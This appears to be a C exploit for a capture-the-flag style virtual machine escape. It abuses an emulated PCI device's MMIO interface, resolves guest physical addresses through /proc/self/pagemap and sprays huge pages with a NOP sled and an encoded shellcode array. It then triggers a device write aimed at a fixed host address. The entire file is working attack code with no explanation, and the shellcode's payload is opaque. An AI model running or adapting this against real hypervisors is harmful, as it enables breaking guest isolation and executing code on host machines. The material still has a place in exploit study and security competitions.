1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdlib.h> #include <fcntl.h> #include <assert.h> #include <inttypes.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/io.h> #include <unistd.h>
#define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1)
void * mmio;
uint32_t page_offset(uint32_t addr) { return addr & ((1 << PAGE_SHIFT) - 1); }
uint64_t gva_to_gfn(void *addr) { uint64_t pme, gfn; size_t offset; int fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) { perror("open"); exit(1); } offset = ((uintptr_t)addr >> 9) & ~7; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); if (!(pme & PFN_PRESENT)) return -1;
gfn = pme & PFN_PFN; return gfn; }
uint64_t gva_to_gpa(void *addr) { uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); }
void mmio_write(uint64_t addr, uint64_t val){ *(uint64_t*)(mmio + addr) = val; }
uint64_t mmio_read(uint64_t addr){ return *(uint64_t *)(mmio + addr); }
void do_write(size_t offset, size_t size, size_t addr){ mmio_write(8, offset); mmio_write(0x10, size); mmio_write(0x18, addr); mmio_write(0x20, 0xF62D); }
char shellcode[] = {72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93};
int main(){ void *buf; uint64_t ptr_addr; int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
system("sysctl vm.nr_hugepages=30"); while (1) { buf = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | 0x40000, -1, 0); memset(buf, '\x90', 0x1000); ptr_addr = gva_to_gpa(buf); if(ptr_addr != 0 && (ptr_addr & 0xfffff) == 0){ break; } }
for(int i = 1; i < 0x100; ++i){ memset(buf + i * 0x1000, '\x90', 0x1000); } for(int i = 0; i < 0x100; ++i){ memcpy(buf + 0x400 + i * 0x1000, shellcode, sizeof(shellcode)); } do_write(0xffffffffba5185f0, 0x100000, ptr_addr); }
|